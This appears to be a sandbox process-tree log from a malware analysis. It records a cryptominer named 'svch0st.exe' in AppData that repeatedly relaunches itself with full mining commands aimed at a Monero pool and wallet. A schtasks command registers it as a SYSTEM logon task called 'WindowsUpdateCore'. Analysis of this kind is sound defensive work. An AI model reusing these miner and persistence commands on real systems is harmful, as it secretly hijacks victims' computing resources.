        PID:32984
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        314⤵
        
        PID:33096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        315⤵
        
        PID:33192
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        316⤵
        
        PID:33272
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        317⤵
        
        PID:33400
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        318⤵
        
        PID:33480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        319⤵
        
        PID:33616
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        320⤵
        
        PID:33712
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        321⤵
        
        PID:33116
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        322⤵
        
        PID:33836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        323⤵
        
        PID:33940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        324⤵
        
        PID:34060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        325⤵
        
        PID:34160
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        326⤵
        
        PID:34276
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        327⤵
        
        PID:34400
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        328⤵
        
        PID:34492
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        329⤵
        
        PID:34604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        330⤵
        
        PID:34692
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        331⤵
        
        PID:34788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        332⤵
        
        PID:34628
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        333⤵
        
        PID:34920
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn WindowsUpdateCore /tr "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" /sc onlogon /ru SYSTEM /f /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2352

C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4396
    - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4340
      - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1564
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1776
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        11⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5312
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        12⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:244
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        13⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5308
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        14⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4416
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        15⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2056
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        16⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4916
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        17⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2492
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        18⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4820
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        19⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5064
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        20⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        21⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3868
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        22⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:540
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        23⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        24⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6196
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        25⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6320
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        26⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6448
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        27⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        28⤵
        Executes dropped EXE
        
        PID:6644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        29⤵
        Executes dropped EXE
        
        PID:6756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        30⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        31⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        32⤵
        
        PID:7096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        33⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        34⤵
        
        PID:7180
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        35⤵
        
        PID:7296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        36⤵
        
        PID:7392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        37⤵
        
        PID:7496
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        38⤵
        
        PID:7600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        39⤵
        
        PID:7696
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        40⤵
        
        PID:7800
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        41⤵
        
        PID:7888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        42⤵
        
        PID:7996
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        43⤵
        
        PID:8120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
